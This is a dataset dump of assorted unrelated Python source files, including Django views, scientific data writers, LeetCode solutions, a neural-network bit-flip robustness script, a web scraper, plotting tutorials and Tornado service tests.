+{"seq_id":"40995962","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom visualizer.models import User, Spreadsheet\nfrom visualizer.forms import EmailUserCreationForm, SpreadsheetForm\n\n\ndef index(request):\n return render(request, \"index.html\")\n\n\ndef about(request):\n return render(request, \"about.html\")\n\n\ndef signup(request):\n if request.method == 'POST':\n form = EmailUserCreationForm(request.POST)\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password1']\n user = form.save()\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect(\"main_area\")\n else:\n form = EmailUserCreationForm()\n return render(request, \"registration/signup.html\", {'form': form})\n\n@login_required()\ndef main_area(request):\n if request.method == 'POST':\n form = SpreadsheetForm(request.POST, request.FILES)\n if form.is_valid():\n nme = form.cleaned_data['name']\n descrip = form.cleaned_data['description']\n sheet = form.cleaned_data['file']\n # need to call raw data function on sheet\n # need to call normalized data function on sheet\n usr = request.user\n spreadsheet = Spreadsheet(name=nme, description=descrip, file=sheet, user=usr) # store raw & normal data\n spreadsheet.save()\n return HttpResponseRedirect('/results/')\n else:\n form = SpreadsheetForm()\n return render(request, \"main_area.html\", {'form': form})\n\n\n@login_required()\ndef results(request):\n return render(request, \"results.html\")\n\n@login_required()\ndef settings(request):\n return render(request, \"settings.html\")\n\n@login_required()\ndef logout(request):\n logout(request)","sub_path":"visualizer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"582610183","text":"import math\n\ndef firstFunction(name):\n letters = len(name)\n firstLetter = name[0]\n return (letters, firstLetter)\n\ndef decimalPlaces(num, dec):\n return round(num, dec)\n\nif __name__ == \"__main__\":\n # inp = input()\n # integ, strin= firstFunction(inp)\n print (decimalPlaces(21.23456, 3))\n # print (integ, \"\\t\", strin)\n print (math.ceil(1.00001))\n print (\"gdjhgdhj*jgdhjgd bjhdmbduy gjgdjgdjy\".split(\"*\"))\n # l = [1,2,3]\n # print (list(map(float, l)))\n slt = list(map(int, input().split(\" \")))\n print (slt)","sub_path":"learning/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"279993616","text":"from ios_data_transform.OceanNcFile import MCtdNcFile\nfrom ios_data_transform.OceanNcVar import OceanNcVar\nfrom ios_data_transform.utils.utils import is_in, find_geographic_area, read_geojson\nfrom datetime import datetime\nfrom pytz import timezone\n\n\ndef write_bcsop_ncfile(filename, profile_id, sopdf, status):\n '''\n use data from pandas dataframe sopdf to write the data into a netcdf file\n author: Pramod Thupaki pramod.thupaki@hakai.org\n inputs:\n filename: output file name to be created in netcdf format\n sopdf: pandas dataframe with BCSOP data\n output:\n NONE\n '''\n out = MCtdNcFile()\n # write global attributes\n out.featureType = 'timeSeries'\n out.summary = 'The dataset consists of 12 coastal stations that have been monitored for several decades, the earliest commencing in 1914. There are gaps in the daily data due to weather conditions being too dangerous for sampling'\n out.title = 'BC Lightstation data'\n out.institution = 'Institute of Ocean Sciences, 9860 West Saanich Road, Sidney, B.C., Canada'\n out.infoUrl = 'https://open.canada.ca/data/en/dataset/719955f2-bf8e-44f7-bc26-6bd623e82884'\n out.cdm_profile_variables = 'time' \n # write full original header, as json dictionary\n out.description = open('header.txt').readlines()\n # initcreate dimension variable\n out.nrec = int(len(sopdf.index))\n ncfile_var_list = []\n ncfile_var_list.append(OceanNcVar('str_id', 'country', None, None, None, 'Canada'))\n ncfile_var_list.append(OceanNcVar('str_id', 'project', None, None, None, 'British Columbia Shore station Observation Program (BCSOP)'))\n ncfile_var_list.append(OceanNcVar('str_id', 'contact_name', None, None, None, 'Peter Chandler'))\n ncfile_var_list.append(OceanNcVar('str_id', 'contact_email',None, None, None, 'peter.chandler@dfo-mpo.gc.ca'))\n ncfile_var_list.append(OceanNcVar('str_id', 'agency', None, None, None, 'Fisheries and Oceans Canada'))\n ncfile_var_list.append(OceanNcVar('str_id', 'instrument_type', None, None, None, 'Given this is a multi-decade time series the sampling instruments have changed over time. At present measurements are made with a YSI Pro30 multimeter.'))\n ncfile_var_list.append(OceanNcVar('lat', 'latitude', 'degrees_north', None, None, sopdf['latitude'].values[0]))\n ncfile_var_list.append(OceanNcVar('lon', 'longitude', 'degrees_east', None, None, sopdf['longitude'].values[0]))\n ncfile_var_list.append(OceanNcVar('profile', 'profile', None, None, None, profile_id))\n ncfile_var_list.append(OceanNcVar('str_id', 'status', None, None, None, status))\n try:\n obs_time = [datetime.strptime(d, \"%m/%d/%Y\") for d in sopdf['date'].values]\n except:\n obs_time = [datetime.strptime(d, \"%Y-%m-%d\") for d in sopdf['date'].values]\n obs_time_utc = [timezone('UTC').localize(date_obj) for date_obj in obs_time]\n ncfile_var_list.append(OceanNcVar('time', 'time', None, None, None, obs_time_utc, vardim=('time')))\n # go through channels and add each variable depending on type\n null_value = float('NaN')\n # add temperature variable \n ncfile_var_list.append(OceanNcVar('temperature', 'TEMPTC01',\n 'deg C', sopdf['temperature'].min,\n sopdf['temperature'].max, sopdf['temperature'].values, ncfile_var_list,\n ('time'), null_value, conv_to_BODC=False))\n # add salinity variable\n ncfile_var_list.append(OceanNcVar('salinity', 'PSALPR01',\n 'PSS-78', sopdf['salinity'].min,\n sopdf['salinity'].max, sopdf['salinity'].values, ncfile_var_list,\n ('time'), null_value, conv_to_BODC=False))\n # attach variables to ncfileclass and call method to write netcdf file\n out.varlist = ncfile_var_list\n out.write_ncfile(filename)\n print(\"Finished writing file:\", filename)\n return 1\n","sub_path":"projects/bc_lightstation/bcsop_utils/write_bcsop_ncfile.py","file_name":"write_bcsop_ncfile.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"456350027","text":"\"\"\"\nGiven the root of a binary tree, return the average value of the nodes \non each level in the form of an array. Answers within 10-5 of the actual \nanswer will be accepted.\n\n\"\"\"\n\nfrom typing import List\nfrom typing import Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef creatBTree(data, index):\n pNode = None\n if index < len(data):\n if data[index] == None:\n return\n pNode = TreeNode(data[index])\n pNode.left = creatBTree(data, 2 * index + 1) # [1, 3, 7, 15, ...]\n pNode.right = creatBTree(data, 2 * index + 2) # [2, 5, 12, 25, ...]\n return pNode \n\nclass Solution:\n def averageOfLevels(self, root: Optional[TreeNode]) -> List[float]:\n \n sumByLevel = {}\n numberOfNodesPerLevel = {}\n\n def sumLevel(node, level):\n if node == None:\n return\n # update our counts\n sumByLevel[level] = sumByLevel.get(level,0) + node.val\n numberOfNodesPerLevel[level] = numberOfNodesPerLevel.get(level,0)+1\n\n sumLevel(node.left, level+1)\n sumLevel(node.right, level+1)\n\n sumLevel(root, 0)\n\n result = []\n for i in range(len(sumByLevel)):\n avg = sumByLevel[i] / numberOfNodesPerLevel[i]\n result.append(avg)\n\n return sumByLevel\n\n\ns = Solution()\nbtree = creatBTree([3,9,20,None,None,15,7],0)\nanswer = s.averageOfLevels(btree)\nprint(answer)\n","sub_path":"leetcode/637_avg_of_levels_in_btree/avg.py","file_name":"avg.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"357884154","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport torch\nimport argparse\nimport data\nimport util\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom models import nin\nfrom torch.autograd import Variable\nimport tqdm\nimport time\nimport numpy as np\n\ndef Dict2File(Dict, filename):\n F = open(filename, 'w+')\n F.write(str(Dict))\n F.close()\n\ndef test(i, key, shape, rand = False, randFactor = 256):\n global best_acc\n test_loss = 0\n correct = 0\n if (not rand) or (len(shape) != 4):\n model = nin.Net()\n pretrained_model = torch.load(args.pretrained)\n best_acc = pretrained_model['best_acc']\n model.load_state_dict(pretrained_model['state_dict'])\n model.to(device)\n bin_op = util.BinOp(model)\n model.eval()\n bin_op.binarization()\n state_dict = model.state_dict()\n \n\n if len(shape) == 4:\n size1 = shape[1]\n size2 = shape[2]\n size3 = shape[3]\n if rand:\n if (int(i/(size2*size3))%int(size1)) == torch.randint(0,size1-1,[1]):\n model = nin.Net()\n pretrained_model = torch.load(args.pretrained)\n model.load_state_dict(pretrained_model['state_dict'])\n model.to(device)\n bin_op = util.BinOp(model)\n model.eval()\n bin_op.binarization()\n state_dict = model.state_dict()\n (state_dict[key][int(i/size1/size2/size3)][int(i/size2/size3%size1)][int(i/size3%size2)][int(i%size3)]).mul_(-1)\n else:\n return 100\n else:\n (state_dict[key][int(i/size1/size2/size3)][int(i/size2/size3%size1)][int(i/size3%size2)][int(i%size3)]).mul_(-1)\n\n if len(shape) == 1:\n state_dict[key][i].mul_(-1)\n\n if len(shape) == 2:\n size = state_dict[key].shape[1]\n (state_dict[key][int(i/size)][i%size]).mul_(-1)\n \n with torch.no_grad():\n for data, target in testloader:\n data, target = Variable(data.to(device)), Variable(target.to(device))\n\n output = model(data)\n test_loss += criterion(output, target).data.item()\n pred = output.data.max(1, keepdim=True)[1]\n correct += pred.eq(target.data.view_as(pred)).cpu().sum()\n bin_op.restore()\n acc = 100. * float(correct) / len(testloader.dataset)\n return acc\n\n\nif __name__=='__main__':\n # prepare the options\n parser = argparse.ArgumentParser()\n parser.add_argument('--cpu', action='store_true',\n help='set if only CPU is available')\n parser.add_argument('--data', action='store', default='./data/',\n help='dataset path')\n parser.add_argument('--arch', action='store', default='nin',\n help='the architecture for the network: nin')\n parser.add_argument('--lr', action='store', default='0.01',\n help='the intial learning rate')\n parser.add_argument('--pretrained', action='store', default='nin.best.pth.tar',\n help='the path to the pretrained model')\n parser.add_argument('--evaluate', action='store_true', default=True,\n help='evaluate the model')\n parser.add_argument('--verbose', action='store_true', default=False,\n help='display more information')\n parser.add_argument('--device', action='store', default='cuda:0',\n help='input the device you want to use')\n args = parser.parse_args()\n if args.verbose:\n print('==> Options:',args)\n \n device = torch.device(args.device if torch.cuda.is_available() else \"cpu\")\n\n # set the seed\n torch.manual_seed(1)\n torch.cuda.manual_seed(1)\n\n # prepare the data\n if not os.path.isfile(args.data+'/train_data'):\n # check the data path\n raise Exception\\\n ('Please assign the correct data path with --data ')\n\n testset = data.dataset(root=args.data, train=False)\n testloader = torch.utils.data.DataLoader(testset, batch_size=512,\n shuffle=False, num_workers=4)\n\n # define classes\n classes = ('plane', 'car', 'bird', 'cat',\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n # define the model\n if args.verbose:\n print('==> building model',args.arch,'...')\n if args.arch == 'nin':\n model = nin.Net()\n else:\n raise Exception(args.arch+' is currently not supported')\n\n # initialize the model\n if not args.pretrained:\n if args.verbose:\n print('==> Initializing model parameters ...')\n best_acc = 0\n for m in model.modules():\n if isinstance(m, nn.Conv2d):\n m.weight.data.normal_(0, 0.05)\n m.bias.data.zero_()\n else:\n if args.verbose:\n print('==> Load pretrained model form', args.pretrained, '...')\n pretrained_model = torch.load(args.pretrained)\n best_acc = pretrained_model['best_acc']\n model.load_state_dict(pretrained_model['state_dict'])\n\n if not args.cpu:\n model.to(device)\n #model = torch.nn.DataParallel(model, device_ids=range(torch.cuda.device_count()))\n if args.verbose:\n print(model)\n\n # define solver and criterion\n base_lr = float(args.lr)\n param_dict = dict(model.named_parameters())\n params = []\n\n for key, value in param_dict.items():\n params += [{'params':[value], 'lr': base_lr,\n 'weight_decay':0.00001}]\n\n optimizer = optim.Adam(params, lr=0.10,weight_decay=0.00001)\n criterion = nn.CrossEntropyLoss()\n\n # define the binarization operator\n bin_op = util.BinOp(model)\n happy = model.state_dict()\n\n # do the evaluation if specified\n if args.evaluate:\n rand = False\n count = 0\n tLoss = 0\n lMax = 0\n lAvg = 0\n bestAcc = 86.28\n save = []\n\n find_key = \"13.weight\"\n print(find_key)\n state_dict = model.state_dict()\n \n for key in state_dict.keys():\n if key.find(find_key) != -1:\n total = 1\n shape = state_dict[key].shape\n use_key = key\n for t in range(len(state_dict[key].shape)):\n total *= state_dict[key].shape[t] \n \n with tqdm.tqdm(range(total)) as Loader:\n start = time.time()\n for i in Loader:\n acc = test(i, use_key, shape = shape, rand = rand)\n loss = bestAcc - acc\n \n if (acc != 100):\n count += 1\n lAvg = tLoss / float(count)\n tLoss += loss\n save.append((i,loss))\n Loader.set_description(\"Av: %.2f%%, M: %.2f%%\"%(lAvg, lMax))\n \n if (loss > lMax):\n lMax = loss\n\n end = time.time()\n if (end - start > 300):\n np.save(find_key+'_tmp',save)\n start = end\n\n np.save(find_key+'.neg', save)\n print (\"lAvg = %f%%, Max = %f%%\"%(lAvg, lMax))\n exit()\n","sub_path":"CIFAR_10/BI.py","file_name":"BI.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"356790940","text":"class Solution:\n def replaceElements(self, arr: List[int]) -> List[int]:\n max_val = -1\n output_arr = [0]*len(arr)\n output_arr[len(arr)-1]=max_val\n for i in range(len(arr)-2, -1, -1):\n if arr[i+1]>max_val:\n output_arr[i]=arr[i+1]\n max_val = arr[i+1]\n else:\n output_arr[i]=max_val \n return output_arr\n","sub_path":"LeetCode/replace-elements-with-greatest-element-on-right-side.py","file_name":"replace-elements-with-greatest-element-on-right-side.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"567832346","text":"import pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef get_new_songs(url):\n # looking at HTML structure of everynoise new releases page\n home_url = url\n res = requests.get(home_url)\n soup = BeautifulSoup(res.content, 'lxml')\n\n # finding all rows with artist and song name with uris\n album_row = soup.find_all('div', attrs = {\"class\": \"albumrow\"})\n\n # creating a list of dictionaries to create a DataFrame\n tracks = []\n for i in range(len(album_row)):\n if len(album_row[i].find_all('span', attrs = {\"class\": \"trackcount\"})) == 0:\n indiv_track = [{'artist_uri': album_row[i].find_all('a')[0]['href'],\n 'artist': album_row[i].find_all('a')[0].find_all('b')[0].text,\n 'track_uri': album_row[i].find_all('span')[0]['trackid'],\n 'track_name': album_row[i].find_all('a')[1].text}]\n tracks += indiv_track\n tracks = pd.DataFrame(tracks)\n return tracks\n","sub_path":"code/everynoise/everynoise.py","file_name":"everynoise.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"620455348","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport scipy as sp\n\nfrom scipy import fftpack\nfrom scipy import interpolate\nfrom matplotlib import pyplot as plt\n\n###################################################################################\n# Résolution équation linéaire\n# A x = b\n\n## x + 2 y = 1\n## 3 x + 4 y = 2\n\nb = np.array([1, 2])\nA = np.array([[1, 2], [3, 4]])\nprint(b)\nprint(A)\n\nA_inverse = np.linalg.inv(A)\nprint(A_inverse)\n\nx = np.dot(A_inverse,b)\nprint(x)\n\n#### Méthode alternative\nx = np.linalg.solve(A, b)\nprint(x)\n\n###################################################################################\n#### Transformée de Fourier\n# fréquence d’échantillonnage en Hz\nfe = 100\n# durée en seconde\nT = 10\n# Nombre de point :\nN = T*fe\n# Array temporel :\nt = np.arange(1.,N)/fe\n# fréquence du signal : Hz\nf0 = 0.5\n# signal temporel\nsinus = np.sin(2*np.pi*f0*t)\n# ajout de bruit\nbruit = np.random.normal(0,0.5,N-1)\nsinus2 = sinus + bruit\n# signal fréquentiel : on divise par la taille du vecteur pour normaliser la fft\nfourier = fftpack.fft(sinus2)/np.size(sinus2)\n# axe fréquentiel:\naxe_f = np.arange(0.,N-1)*fe/N\n# On plot\nplt.figure()\nplt.subplot(121)\nplt.plot(t,sinus2,'-')\nplt.plot(t,sinus,'r-')\nplt.xlabel('axe temporel, en seconde')\nplt.subplot(122)\nplt.plot(axe_f,np.abs(fourier),'x-')\nplt.xlabel('axe frequentiels en Hertz')\nplt.show()\n\n###################################################################################\n###### Interpolation\n# 1ère courbe\nt = np.arange(11)\nsinus = np.sin(t)\n# création de notre sous-fonction d'interpolation quadratique\nF_sinus = interpolate.interp1d(t,sinus,kind='quadratic')\n# second axe de temps sur lequel on interpolera\nt2 = np.arange(0, 10, 0.5)\n# Interpolation\nsinus2 = F_sinus(t2)\n# Affichage:\nplt.plot(t, sinus, 'rx-') # RED\nplt.plot(t2, sinus2, 'bd-') # BLUE\nplt.show()\n\n\n","sub_path":"Python - Divers/TP - SciPy.py","file_name":"TP - SciPy.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"358232103","text":"from routes import (\n redirect,\n GuaTemplate,\n html_response,\n)\n\n\ndef index(request):\n body = GuaTemplate.render('map_editor.html')\n return html_response(body)\n\n\ndef save_map(request):\n data = 'guaMapData = `' + request.body + '`'\n path = 'C:\\\\Users\\\\ljhua\\\\GitHub\\\\gua.game.js\\\\8.18\\\\guagame\\\\gua_map_data.js'\n # print('data', data)\n with open(path, 'w+', encoding='utf-8') as f:\n # log('save', path, s, data)\n f.write(data)\n print('write success')\n return redirect('/')\n\n\ndef route_dict():\n \"\"\"\n 路由字典\n key 是路由(路由就是 path)\n value 是路由处理函数(就是响应)\n \"\"\"\n d = {\n '/': index,\n '/save': save_map,\n }\n return d\n","sub_path":"8.18/mario_python/routes_mario.py","file_name":"routes_mario.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"361032251","text":"'''\nWrite regular time-series data to example.dss\n'''\nimport numpy as np\nfrom pydsstools.heclib.dss import HecDss\nfrom pydsstools.core import TimeSeriesContainer\n\ndss_file = \"example.dss\"\n\ntsc = TimeSeriesContainer()\ntsc.granularity_value = 60 #seconds i.e. minute granularity\ntsc.numberValues = 10\ntsc.startDateTime=\"01 JAN 2017 01:00\"\ntsc.pathname = \"/REGULAR/TIMESERIES/FLOW//1HOUR/WRITE2/\"\ntsc.units = \"cfs\"\ntsc.type = \"INST\"\ntsc.interval = 1\n#must a +ve integer for regular time-series\n#actual interval implied from E part of pathname\ntsc.values =np.array(range(10),dtype=np.float32)\n#values may be list,array, numpy array\n\nfid = HecDss.Open(dss_file)\nstatus = fid.put(tsc)\nfid.close()\n","sub_path":"pydsstools/examples/example2.py","file_name":"example2.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"468306580","text":"from django.core.exceptions import ValidationError\nfrom django.test import TestCase\nfrom WhereIs.models import ServidorModel\n\n\nclass TestServidor(TestCase):\n def test_model(self) -> None:\n servidor = ServidorModel(ip='12.226.226.11', dominio='tre.com')\n servidor.save()\n servidor.delete()\n\n def test_ip_validation(self) -> None:\n with self.assertRaises(ValidationError):\n servidor = ServidorModel(ip='441.12.2.12')\n servidor.full_clean()\n servidor.save()\n","sub_path":"src/WhereIs/tests/servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"64955292","text":"import requests\nimport json\nfrom requests_oauthlib import OAuth1\n\nterm = \"doughnut\"\n\nfor x in range(0, 22):\n auth = OAuth1(\"1d6cea836bd14236a738db46ae3a04e8\", \"d67c77d4234e4953b8b38cf07fbbb18b\")\n endpoint = \"https://api.thenounproject.com/icons/\" + term + \"?page=\" + str(x)\n response = requests.get(endpoint, auth=auth)\n\n with open('./jsons/' + term + '-p' + str(x) + '.json', 'w') as results_file:\n json.dump(response.json(), results_file)\n","sub_path":"final/collect/call-json.py","file_name":"call-json.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"27251245","text":"import threading\nimport queue\nimport re\nimport rx.subject\n\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.plotting import curdoc, figure\nfrom bokeh.layouts import column, row\nfrom bokeh.models import FactorRange, Range1d\nfrom bokeh.models import Select\n\nfrom nanomsgnode import PropellerNodeController, CHANNEL_NAMES\n\nRSSI_HISTORY = 200\n\n\nclass PropellerTimestampProcessor:\n\n CPUFREQ = 80_000_000\n\n def __init__(self):\n self._last_ts = None\n self.signal = rx.subject.Subject()\n\n def __call__(self, timestamp):\n if self._last_ts is not None:\n diff = (timestamp + 2**32 - self._last_ts) % 2**32\n self.signal.on_next(diff / self.CPUFREQ)\n self._last_ts = timestamp\n\n\nclass Visualisation:\n\n def __init__(self, node):\n self._node = node\n self._timestamp_processor = PropellerTimestampProcessor()\n self._lines_q = queue.Queue()\n\n number_of_vtx = node.configuration()[0]\n self._laptime_format = \"> 1\t#移位运算,把num转换成二进制后所有位向后移动一位,高位补0\n\t\tindexBit += 1\t#指针跟上\n\treturn indexBit\t\t#返回最右边第一个是1的位置\ndef IsBit(num, indexBit):\n\t'''\n\t用于判断在num的二进制表示中从右边起的indexBit位是否为1\n\t'''\n\tnum = num >> indexBit\n\treturn num & 1\t\t#0为False,1为True\nx = [2,4,3,6,3,2,5,5]\nprint(FindNumsAppearOnce(x))\n\n'''\n移位运算:\n\t<< n : 是整体向左移动n位\n\t>> n : 是整体向右移动n位\n'''\n","sub_path":"数据结构与算法/剑指offer/40.数组中只出现一次的数字.py","file_name":"40.数组中只出现一次的数字.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"434505888","text":"import json\nfrom pathlib import Path\n\nDIRPATH = Path(__file__).parent.resolve() / \"data\"\n\nair_molecular_weight = 28.97 # [kg/kmol], molecular weight of air\natmosphere_total_mass = 5.1352e18 # [kg] total mass of atmosphere\n\nfp_substances = DIRPATH / \"ipcc2013.json\"\nwith open(fp_substances, 'rb') as f:\n substances_data = json.load(f)","sub_path":"gwp_uncertainties/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"534960750","text":"#\r\n\r\n\r\nfrom datetime import date, datetime, timedelta\r\nfrom django.utils import formats\r\n\r\nf_date = date(2018, 2, 21)\r\nl_date = date(2018, 7, 11)\r\n\r\ndelta = l_date - f_date\r\nprint(delta.days+2)\r\n\r\nact_level = [1,1.12,1.27,1.54]\r\nb = 152*act_level[0]\r\nprint(b)\r\n#date_format = \"%m/%d/%Y\"\r\n#date_joined = datetime.now().date()\r\n#print(date_joined)\r\n#start_date = date(2018, 2, 2)\r\n#start_date.strftime('%B %d,%Y')\r\n#x = datetime.strptime(start_date, '%B %d,%Y')\r\n#print(start_date)\r\n#new_date = start_date.date()\r\n#print(new_date)\r\n#for i in range(0,32):\r\n # f_date = f_date + timedelta(days=1)\r\n # print(f_date)\r\n # if(f_date==date_joined):\r\n # print(\"found\")\r\n # break\r\n\r\n#a = date_joined[1:4]\r\n#k=date_joined.strftime('%Y/%m/%d')\r\n#a = k[0:4]\r\n#b = k[5:7]\r\n#c= k[8:10]\r\n#l_date = date(int(a), int(b), int(c))\r\n#print((f_date-l_date).days)\r\n#print(a,' ',b,' ',c)\r\n","sub_path":"myproject/myapp/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"552856764","text":"# Copyright (c) 2019. All rights reserved.\n\nimport atexit\nfrom io import StringIO\nimport json\nimport unittest\nimport yaml\n\nfrom tornado.ioloop import IOLoop\nimport tornado.testing\n\nfrom addrservice.app import (\n make_addrservice_app,\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR\n)\n\nfrom tests.unit.address_data_test import address_data_suite\n\n\nIN_MEMORY_CFG_TXT = '''\nservice:\n name: Address Book Test\n\naddr-db:\n memory: null\n\ntracing:\n addrservice.tracing.CummulativeFunctionTimeProfiler: null\n addrservice.tracing.Timeline: null\n'''\n\nwith StringIO(IN_MEMORY_CFG_TXT) as f:\n TEST_CONFIG = yaml.load(f.read(), Loader=yaml.SafeLoader)\n\n\nclass TestAddressServiceApp(tornado.testing.AsyncHTTPTestCase):\n def setUp(self) -> None:\n super().setUp()\n self.headers = {'Content-Type': 'application/json; charset=UTF-8'}\n address_data = address_data_suite()\n keys = list(address_data.keys())\n self.assertGreaterEqual(len(keys), 2)\n self.addr0 = address_data[keys[0]]\n self.addr1 = address_data[keys[1]]\n\n def get_app(self) -> tornado.web.Application:\n addr_service, app = make_addrservice_app(\n config=TEST_CONFIG,\n debug=True\n )\n\n addr_service.start()\n atexit.register(lambda: addr_service.stop())\n\n return app\n\n def get_new_ioloop(self):\n IOLoop.configure('tornado.platform.asyncio.AsyncIOLoop')\n instance = IOLoop.instance()\n return instance\n\n def test_liveness(self):\n r = self.fetch(\n '/healthz',\n method='GET',\n headers=None,\n )\n info = json.loads(r.body.decode('utf-8'))\n\n self.assertEqual(r.code, 200, info)\n self.assertGreater(info['uptime'], 0)\n\n def test_readiness(self):\n r = self.fetch(\n '/readiness',\n method='GET',\n headers=None,\n )\n info = json.loads(r.body.decode('utf-8'))\n\n self.assertEqual(r.code, 200, info)\n self.assertTrue(info['ready'])\n self.assertGreater(info['uptime'], 0)\n\n def test_default_handler(self):\n r = self.fetch(\n '/does-not-exist',\n method='GET',\n headers=None,\n )\n # info = json.loads(r.body.decode('utf-8'))\n\n # TODO: Exercise: Tornado, by default, send HTML response on 404.\n # Implement BaseRequestHandler.write_error method to return a JSON\n # response, and hook DefaultRequestHandler to tornado.web.Application\n # creation with suitable args so that the last two assert statements\n # of this test function start passing.\n info = r.body\n # print(info)\n\n self.assertEqual(r.code, 404, info)\n # self.assertEqual(info['code'], 404)\n # self.assertEqual(info['message'], 'Unknown Endpoint')\n\n # TODO: Exercise: rename this function to test_address_book_endpoints\n def test_address_book_endpoints(self):\n # Get all addresses in the address book, must be ZERO\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id=''),\n method='GET',\n headers=None,\n )\n all_addrs = json.loads(r.body.decode('utf-8'))\n self.assertEqual(r.code, 200, all_addrs)\n self.assertEqual(len(all_addrs), 0, all_addrs)\n\n # Add an address\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id=''),\n method='POST',\n headers=self.headers,\n body=json.dumps(self.addr0),\n )\n self.assertEqual(r.code, 201)\n addr_uri = r.headers['Location']\n\n # POST: error cases\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id=''),\n method='POST',\n headers=self.headers,\n body='it is not json',\n )\n self.assertEqual(r.code, 400)\n self.assertEqual(r.reason, 'Invalid JSON body')\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id=''),\n method='POST',\n headers=self.headers,\n body=json.dumps({}),\n )\n self.assertEqual(r.code, 400)\n self.assertEqual(r.reason, 'JSON Schema validation failed')\n\n # Get the added address\n r = self.fetch(\n addr_uri,\n method='GET',\n headers=None,\n )\n self.assertEqual(r.code, 200)\n self.assertEqual(self.addr0, json.loads(r.body.decode('utf-8')))\n\n # GET: error cases\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id='no-such-id'),\n method='GET',\n headers=None,\n )\n self.assertEqual(r.code, 404)\n\n # Update that address\n r = self.fetch(\n addr_uri,\n method='PUT',\n headers=self.headers,\n body=json.dumps(self.addr1),\n )\n self.assertEqual(r.code, 204)\n\n r = self.fetch(\n addr_uri,\n method='GET',\n headers=None,\n )\n self.assertEqual(r.code, 200)\n self.assertEqual(self.addr1, json.loads(r.body.decode('utf-8')))\n\n # PUT: error cases\n r = self.fetch(\n addr_uri,\n method='PUT',\n headers=self.headers,\n body='it is not json',\n )\n self.assertEqual(r.code, 400)\n self.assertEqual(r.reason, 'Invalid JSON body')\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id='1234'),\n method='PUT',\n headers=self.headers,\n body=json.dumps(self.addr1),\n )\n self.assertEqual(r.code, 404)\n r = self.fetch(\n addr_uri,\n method='PUT',\n headers=self.headers,\n body=json.dumps({}),\n )\n self.assertEqual(r.code, 400)\n self.assertEqual(r.reason, 'JSON Schema validation failed')\n\n # Delete that address\n r = self.fetch(\n addr_uri,\n method='DELETE',\n headers=None,\n )\n self.assertEqual(r.code, 204)\n r = self.fetch(\n addr_uri,\n method='GET',\n headers=None,\n )\n self.assertEqual(r.code, 404)\n\n # DELETE: error cases\n r = self.fetch(\n addr_uri,\n method='DELETE',\n headers=None,\n )\n self.assertEqual(r.code, 404)\n\n # Get all addresses in the address book, must be ZERO\n r = self.fetch(\n ADDRESSBOOK_ENTRY_URI_FORMAT_STR.format(id=''),\n method='GET',\n headers=None,\n )\n all_addrs = json.loads(r.body.decode('utf-8'))\n self.assertEqual(r.code, 200, all_addrs)\n self.assertEqual(len(all_addrs), 0, all_addrs)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/integration/app_test.py","file_name":"app_test.py","file_ext":"py","file_size_in_byte":6835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
